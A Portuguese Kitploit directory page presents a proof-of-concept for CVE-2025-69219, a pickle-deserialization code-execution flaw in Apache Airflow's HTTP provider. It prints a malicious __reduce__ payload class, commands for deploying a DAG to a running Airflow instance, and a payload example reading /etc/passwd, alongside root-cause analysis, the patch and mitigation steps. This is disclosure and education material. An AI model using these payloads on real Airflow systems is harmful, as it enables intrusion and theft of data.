Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-69219 — Prova de conceito de exploit para CVE-2025-69219, demonstrando execução remota de código no Apache Airflow Providers HTTP via desserialização insegura de pickle. Inclui scripts PoC, análise técnica e orientações de mitigação. | Kitploit
Ferramentas/GitHubGitHub/sak110/cve-2025-69219
Análise de VulnerabilidadesExploraçãoPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubsak110/cve-2025-69219

CVE-2025-69219

Prova de conceito de exploit para CVE-2025-69219, demonstrando execução remota de código no Apache Airflow Providers HTTP via desserialização insegura de pickle. Inclui scripts PoC, análise técnica e orientações de mitigação.

Ver Repositório
731há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-69219 — Apache Airflow Providers HTTP RCE via Desserialização Insegura de Pickle

Severidade: Alta (CVSS 3.1: 8.8)
Vetor: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Controle Inadequado de Recursos de Código Gerenciados Dinamicamente
Afetado: apache-airflow-providers-http >= 5.1.0, < 6.0.0
Corrigido em: apache-airflow-providers-http == 6.0.0
Patch: apache/airflow#61662 · commit 97839f7


Visão Geral

O provedor HTTP do Apache Airflow usava o módulo pickle do Python para serializar e desserializar respostas de gatilho HTTP para tarefas adiadas. O ponto vulnerável em HttpOperator.execute_complete() era assim:

root@kitploit:~
# VULNERÁVEL (pré-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

O dicionário event é lido do banco de dados do Airflow, o que significa que qualquer principal com acesso de escrita no BD pode plantar uma carga maliciosa pickle. Quando o worker do Triggerer processa a tarefa adiada, ele desserializa cegamente essa carga, executando comandos arbitrários do SO com as permissões do processo Triggerer — equivalente a um Autor de DAG.


Causa Raiz

pickle.loads() em dados não confiáveis é uma operação inerentemente insegura. O protocolo __reduce__ do Pickle permite que qualquer chamável Python seja embutido no blob serializado e invocado durante a desserialização sem sandboxing.

O Triggerer do Airflow serializa a resposta HTTP no momento da conclusão e a armazena no BD:

root@kitploit:~
# triggers/http.py (pré-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

Um atacante no nível do BD substitui esse valor por um blob pickle malicioso, por exemplo:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

O Triggerer então chama execute_complete → pickle.loads() → RCE.


A Correção (6.0.0)

O patch substitui completamente o pickle por um serializador JSON seguro e explícito:

root@kitploit:~
# triggers/http.py (pós-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # dict JSON
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — valida que a entrada é um dict, nunca executa código
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

O novo desserializador apenas reconstrói um objeto requests.Response a partir de campos conhecidos (status_code, headers, content, etc.) — nenhuma execução arbitrária de código é possível.


PoC

Requisitos

root@kitploit:~
# Python 3.9+; instale uma versão vulnerável
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

Modo 1 — Simulação local (sem necessidade de Airflow)

Reproduz a chamada vulnerável pickle.loads() em processo:

root@kitploit:~
python poc.py
# ou com um comando personalizado:
python poc.py --cmd "whoami"

Saída de exemplo:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

Modo 2 — Implantação completa de DAG (requer uma instância Airflow em execução com providers-http < 6.0.0)

root@kitploit:~
# Gere um DAG implantável
python poc.py --mode dag --cmd "id"

# Copie para o diretório DAGs do Airflow
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Acione pela interface do Airflow ou CLI
airflow dags trigger cve_2025_69219_poc

Verifique os logs da tarefa para a saída do comando.

Exibir carga útil bruta

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

Impacto

FatorDetalhe
Quem pode explorarQualquer usuário com acesso de escrita direta ao BD do Airflow
Contexto de execuçãoProcesso worker do Triggerer (mesmas permissões de um Autor de DAG)
ProbabilidadeBaixa — acesso direto ao BD não é padrão em implantações bem configuradas
Raio de explosãoRCE completo no host do nó Triggerer: exfiltração de dados, movimento lateral, persistência

Mitigação

  1. Atualize o apache-airflow-providers-http para 6.0.0 ou superior.
  2. Restrinja o acesso ao BD — apenas as contas de serviço do scheduler/webserver do Airflow devem ter acesso de escrita ao BD de metadados.
  3. Antes de atualizar, garanta que todas as tarefas HTTP adiadas (deferrable=True) tenham sido concluídas ou limpas, pois tarefas em andamento serializadas com pickle levantarão um TypeError após a atualização (mudança disruptiva documentada no changelog do provedor).
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

Cronologia

DataEvento
2026-03-09CVE publicado pela Apache Software Foundation
2026-03-09Correção mesclada (PR #61662, commit 97839f7)
2026-03-09Divulgação na lista de e-mails oss-security

Referências

  • CVE-2025-69219 no NVD
  • GitHub Advisory GHSA-9r5j-7r2x-rv4g
  • Patch PR #61662
  • Patch commit 97839f7
  • Divulgação no oss-security

Créditos

  • skypher — descobridor
  • Shauryae1337 — descobridor
  • ahmetartuc — descobridor e autor original da PoC (poc-cve-2025-69219)

A PoC neste repositório é baseada no trabalho original de @ahmetartuc.


Aviso Legal

Esta prova de conceito é publicada apenas para fins educacionais e de pesquisa em segurança. Teste apenas contra sistemas que você possui ou para os quais tem autorização explícita por escrito. Os autores não são responsáveis por qualquer uso indevido.

Baixar ferramenta